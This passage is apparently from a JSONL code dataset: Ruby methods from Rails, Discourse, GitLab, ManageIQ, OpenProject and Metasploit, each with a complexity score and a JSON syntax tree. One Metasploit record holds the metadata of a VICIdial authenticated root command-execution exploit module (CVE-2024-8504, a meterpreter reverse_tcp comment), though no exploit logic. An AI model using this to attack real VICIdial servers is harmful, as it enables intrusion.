message\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"http://test.host/some/path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"moved_permanently\"]}]}]},{\"type\":\"str\",\"children\":[\"Custom message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"redirect_permanently\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"http://test.host/some/path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"moved_permanently\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"http://test.host/some/path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"found\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]},{\"type\":\"str\",\"children\":[\"Custom message\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"http://test.host/some/path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"found\"]}]}]},{\"type\":\"str\",\"children\":[\"Custom message\"]}]}]}]}]}","id":"ce5c1273-533f-42c6-9ee4-a7d51876a570"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/descendant_loader.rb","start_line":180,"raw_source":"def cache\n      @cache ||= load_cache || {'@version' => CACHE_VERSION}\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cache\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_cache\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@version\"]},{\"type\":\"const\",\"children\":[null,\"CACHE_VERSION\"]}]}]}]}]}]}","id":"e71f3238-cb8f-4ffc-9a00-fec7b1537a53"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":1303,"raw_source":"def test_in_time_zone\n    with_tz_default \"Alaska\" do\n      assert_equal \"2000-01-01 00:00:00.000000000 AKST -09:00\", @d.in_time_zone.inspect\n    end\n    with_tz_default \"Hawaii\" do\n      assert_equal \"2000-01-01 00:00:00.000000000 HST -10:00\", @d.in_time_zone.inspect\n    end\n    with_tz_default nil do\n      assert_equal @d.to_time, @d.in_time_zone\n    end\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_time_zone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tz_default\",{\"type\":\"str\",\"children\":[\"Alaska\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2000-01-01 00:00:00.000000000 AKST -09:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@d\"]},\"in_time_zone\"]},\"inspect\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tz_default\",{\"type\":\"str\",\"children\":[\"Hawaii\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2000-01-01 00:00:00.000000000 HST -10:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@d\"]},\"in_time_zone\"]},\"inspect\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tz_default\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@d\"]},\"to_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@d\"]},\"in_time_zone\"]}]}]}]}]}","id":"931c81ac-06eb-4153-8c2f-8abfae11e81f"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120925171620_remove_english_from_post_action_types.rb","start_line":4,"raw_source":"def up\n    rename_column :post_action_types, :name, :name_key\n    execute \"UPDATE post_action_types SET name_key = regexp_replace(lower(name_key), '[^a-z]', '_')\"\n    remove_column :post_action_types, :long_form\n    remove_column :post_action_types, :description\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"post_action_types\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"name_key\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE post_action_types SET name_key = regexp_replace(lower(name_key), '[^a-z]', '_')\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"post_action_types\"]},{\"type\":\"sym\",\"children\":[\"long_form\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"post_action_types\"]},{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}","id":"475a06c0-3e4a-4ce2-bd05-f9f86508872f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/application_controller.rb","start_line":61,"raw_source":"def check_project_feature_available!(feature)\n    render_404 unless project.feature_available?(feature, current_user)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_project_feature_available!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"feature_available?\",{\"type\":\"lvar\",\"children\":[\"feature\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"814c2853-7830-4a8e-b742-63b77bffa749"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":222,"raw_source":"def test_assert_enqueued_jobs_with_only_option_and_none_sent\n      error = assert_raise ActiveSupport::TestCase::Assertion do\n        assert_enqueued_jobs 1, only: HelloJob do\n          LoggingJob.perform_later\n        end\n      end\n\n      assert_match(/1 .* but 0/, error.message)\n    end","complexity_score":8.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_jobs_with_only_option_and_none_sent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_jobs\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"1 .* but 0\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"30eabdaf-ff08-4b12-94d8-8918ebefc60f"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/base/progress_step_executor.rb","start_line":51,"raw_source":"def execute_parallel\n      worker_output_queue = SizedQueue.new(MAX_QUEUE_SIZE)\n      work_queue = SizedQueue.new(MAX_QUEUE_SIZE)\n\n      workers = start_workers(work_queue, worker_output_queue)\n      writer_thread = start_db_writer(worker_output_queue)\n      push_work(work_queue)\n\n      workers.each(&:wait)\n      worker_output_queue.close\n      writer_thread.join\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_parallel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"worker_output_queue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SizedQueue\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"MAX_QUEUE_SIZE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"work_queue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SizedQueue\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"MAX_QUEUE_SIZE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"workers\",{\"type\":\"send\",\"children\":[null,\"start_workers\",{\"type\":\"lvar\",\"children\":[\"work_queue\"]},{\"type\":\"lvar\",\"children\":[\"worker_output_queue\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"writer_thread\",{\"type\":\"send\",\"children\":[null,\"start_db_writer\",{\"type\":\"lvar\",\"children\":[\"worker_output_queue\"]}]}]},{\"type\":\"send\",\"children\":[null,\"push_work\",{\"type\":\"lvar\",\"children\":[\"work_queue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workers\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_output_queue\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"writer_thread\"]},\"join\"]}]}]}","id":"954e2bf2-8bfa-489d-8621-bb7cc825e8a0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_queue.rb","start_line":654,"raw_source":"def activate_miq_task(args)\n    MiqTask.update_status(miq_task_id, MiqTask::STATE_ACTIVE, MiqTask::STATUS_OK, \"Task starting\") if miq_task_id\n    params = args.first\n    params[:miq_task_id] = miq_task_id if params.kind_of?(Hash)\n    args\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"activate_miq_task\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_task_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"update_status\",{\"type\":\"send\",\"children\":[null,\"miq_task_id\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"STATE_ACTIVE\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"STATUS_OK\"]},{\"type\":\"str\",\"children\":[\"Task starting\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"miq_task_id\"]},{\"type\":\"send\",\"children\":[null,\"miq_task_id\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}","id":"fd8c5c4c-05d3-4ed3-b496-800a88396906"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/final_destination_spec.rb","start_line":38,"raw_source":"def canonical_follow(from, dest)\n    fd_stub_request(:get, from).to_return(\n      status: 200,\n      body: \"<head><link rel=\\\"canonical\\\" href=\\\"#{dest}\\\"></head>\",\n    )\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"canonical_follow\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"dest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fd_stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<head><link rel=\\\"canonical\\\" href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest\"]}]},{\"type\":\"str\",\"children\":[\"\\\"></head>\"]}]}]}]}]}]}","id":"e353cde9-52d6-4042-b04d-e81dc236491b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/fluxbb.rb","start_line":127,"raw_source":"def import_categories\n    puts \"\", \"importing top level categories...\"\n\n    categories =\n      mysql_query(\n        \"\n                              SELECT id, cat_name name, disp_position position\n                              FROM #{FLUXBB_PREFIX}categories\n                              ORDER BY id ASC\n                            \",\n      ).to_a\n\n    create_categories(categories) { |category| { id: category[\"id\"], name: category[\"name\"] } }\n\n    puts \"\", \"importing children categories...\"\n\n    children_categories =\n      mysql_query(\n        \"\n                                       SELECT id, forum_name name, forum_desc description, disp_position position, cat_id parent_category_id\n                                       FROM #{FLUXBB_PREFIX}forums\n                                       ORDER BY id\n                                      \",\n      ).to_a\n\n    create_categories(children_categories) do |category|\n      {\n        id: \"child##{category[\"id\"]}\",\n        name: category[\"name\"],\n        description: category[\"description\"],\n        parent_category_id: category_id_from_imported_category_id(category[\"parent_category_id\"]),\n      }\n    end\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"import_categories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing top level categories...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                              SELECT id, cat_name name, disp_position position\\n\"]},{\"type\":\"str\",\"children\":[\"                              FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FLUXBB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"categories\\n\"]},{\"type\":\"str\",\"children\":[\"                              ORDER BY id ASC\\n\"]},{\"type\":\"str\",\"children\":[\"                            \"]}]}]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"lvar\",\"children\":[\"categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing children categories...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"children_categories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                                       SELECT id, forum_name name, forum_desc description, disp_position position, cat_id parent_category_id\\n\"]},{\"type\":\"str\",\"children\":[\"                                       FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FLUXBB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"forums\\n\"]},{\"type\":\"str\",\"children\":[\"                                       ORDER BY id\\n\"]},{\"type\":\"str\",\"children\":[\"                                      \"]}]}]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"lvar\",\"children\":[\"children_categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"child#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"send\",\"children\":[null,\"category_id_from_imported_category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parent_category_id\"]}]}]}]}]}]}]}]}","id":"32ea7a82-e151-4fbc-a8ea-d6bff63e6bcb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/generic/custom.rb","start_line":56,"raw_source":"def compatible_encoders\n    encoders = super()\n    encoders2 = []\n    encoders.each do |encname, encmod|\n      encoders2 << [encname, encmod] if encname.include? 'none'\n    end\n\n    return encoders2\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"compatible_encoders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encoders\",{\"type\":\"super\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"encoders2\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoders\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encname\"]},{\"type\":\"arg\",\"children\":[\"encmod\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encname\"]},\"include?\",{\"type\":\"str\",\"children\":[\"none\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoders2\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encname\"]},{\"type\":\"lvar\",\"children\":[\"encmod\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoders2\"]}]}]}]}","id":"f3aa1cfa-0d69-4064-a51c-96a2ce964e09"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/show_component.rb","start_line":50,"raw_source":"def sidebar_enabled?\n      life_cycle_sidebar_enabled? || custom_fields_sidebar_enabled?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sidebar_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"life_cycle_sidebar_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"custom_fields_sidebar_enabled?\"]}]}]}","id":"6185bdb9-85aa-4763-8977-1c3a81d46d3e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/vicidial_agent_authenticated_rce.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'VICIdial Authenticated Remote Code Execution',\n        'Description' => %q{\n          An attacker with authenticated access to VICIdial as an \"agent\"\n          can execute arbitrary shell commands as the \"root\" user. This\n          attack can be chained with CVE-2024-8503 to execute arbitrary\n          shell commands starting from an unauthenticated perspective.\n        },\n        'Author' => [\n          'Valentin Lobstein',              # Metasploit Module\n          'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2024-8504'],\n          ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']\n        ],\n        'DisclosureDate' => '2024-09-10',\n        'Platform' => %w[unix linux],\n        'Arch' => [ARCH_CMD],\n        'Targets' => [\n          [\n            'Unix/Linux Command Shell', {\n              'Platform' => %w[unix linux],\n              'Arch' => ARCH_CMD,\n              'Privileged' => true\n              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'WfsDelay' => 300,\n          'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('USERNAME', [true, 'Administrator username']),\n      OptString.new('PASSWORD', [true, 'Administrator password']),\n    ])\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VICIdial Authenticated Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          An attacker with authenticated access to VICIdial as an \\\"agent\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          can execute arbitrary shell commands as the \\\"root\\\" user. This\\n\"]},{\"type\":\"str\",\"children\":[\"          attack can be chained with CVE-2024-8503 to execute arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\"          shell commands starting from an unauthenticated perspective.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Valentin Lobstein\"]},{\"type\":\"str\",\"children\":[\"Jaggar Henry of KoreLogic, Inc.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-8504\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-09-10\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix/Linux Command Shell\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"int\",\"children\":[5000]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Administrator username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Administrator password\"]}]}]}]}]}]}]}","id":"3c237326-d59c-453a-83b2-05c0d24ab6ab"}
